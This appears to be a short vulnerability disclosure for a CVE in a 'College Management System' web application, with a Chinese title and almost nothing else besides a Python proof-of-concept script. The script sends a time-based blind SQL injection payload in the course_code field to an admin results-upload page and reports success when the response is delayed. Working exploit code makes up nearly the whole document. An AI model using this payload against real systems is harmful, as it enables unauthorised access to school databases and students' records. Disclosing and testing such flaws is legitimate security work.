CVE-2026-4783: College Management System SQL注入漏洞

import requests # Target configuration target_url = "http://example.com/admin/add-single-student-results.php" # Malicious payload for SQL Injection # Using time-based blind injection technique sqli_payload = { "course_code": "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -", "student_id": "1" # Assuming other required fields } try: print("[+] Sending payload to target...") response = requests.post(target_url, data=sqli_payload, timeout=10) # Check if response time indicates successful injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection successful (Time delay detected).") else: print("[-] Vulnerability not confirmed or payload invalid.") except Exception as e: print(f"[!] Error occurred: {e}")